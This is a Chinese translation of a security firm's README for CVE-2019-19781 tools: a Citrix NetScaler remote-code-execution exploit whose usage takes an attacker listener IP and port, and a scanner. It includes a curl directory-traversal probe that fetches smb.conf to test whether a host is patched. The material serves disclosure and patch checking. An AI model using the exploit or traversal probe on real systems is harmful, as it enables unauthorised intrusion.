该内容仅因其他研究人员率先公开其代码而上传。我们原本希望将其保密更长时间,让防御者有足够时间修补系统。
我们完全支持负责任的披露,但在此案例中,秘密已经泄露。
漏洞利用:CVE-2019-19781
root@stronghold-nix:/home/relik/Desktop/git/cve-2019-19781# python citrixmash.py
Citrixmash v0.1 - 利用 Citrix 目录遍历漏洞:CVE-2019-19781 工具编写者:Rob Simon 与 Dave Kennedy 贡献者:TrustedSec 团队 网站:https://www.trustedsec.com 信息:https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/ 取证与 IOC:https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/
该工具利用 Citrix ADC(NetScaler)中的一个目录遍历漏洞,该漏洞会调用一个用于以 XML 格式附加文件到目标机器的 Perl 脚本,从而实现远程代码执行。
请务必清理以下两个文件位置: /var/tmp/netscaler/portal/templates/ /netscaler/portal/templates/
注意:victimaddress 和 attackerip_listener 字段支持 DNS 主机名和 IP 地址。
用法:
python citrixmash.py <attackerip_listener> <attacker_port>
用法:citrixmash.py [-h] target targetport attackerip attackerport
这是一个简单测试,用于检查服务器是否仍受 CVE-2019-19781 影响。
用法:python3 cve-2019-19781.py
注意:可以使用 CIDR 表示法,如 192.168.1.1/24,也可以使用主机名。
它将返回服务器是否仍然存在漏洞。每次只能扫描一台服务器。
CVE-2019-19781-Scanner 公司:TrustedSec 编写者:Dave Kennedy 该工具将检查远程系统是否仍受 CVE-2019-19781 影响。每次仅扫描一台主机。 也可使用 CIDR 表示法,例如:192.168.1.1/24 也可以使用主机名代替 IP 地址。 还可以使用包含由外部工具生成的 IP 地址的文件。
示例:python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 示例2:python3 cve-2019-19781_scanner.py 192.168.1.1 443 示例3:python3 cve-2019-19781_scanner.py fakewebsiteaddress.com 443 示例4:python3 cve-2019-19781_scanner.py as15169 443 示例5:python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 verbose 示例6:python3 cve-2019-19781_scanner.py file:hostfile 443
用法:python3 cve-2019-19781_scanner.py targetip targetport
用法:cve-2019-19781_scanner.py [-h] target targetport [verbose]
如果你想测试此漏洞是否已被缓解,请使用以下命令:
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is
或者,如果你使用的是非公共或内部企业 CA,可以使用 --insecure 选项覆盖:
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is --insecure
返回 403 表示已打好补丁;若返回 Citrix 网站而非 smb.conf 文件,则同理。
如果你能看到 smb.conf 文件,说明仍存在漏洞。
要安装依赖项,你需要运行以下命令:
pip3 install -r requirements.txt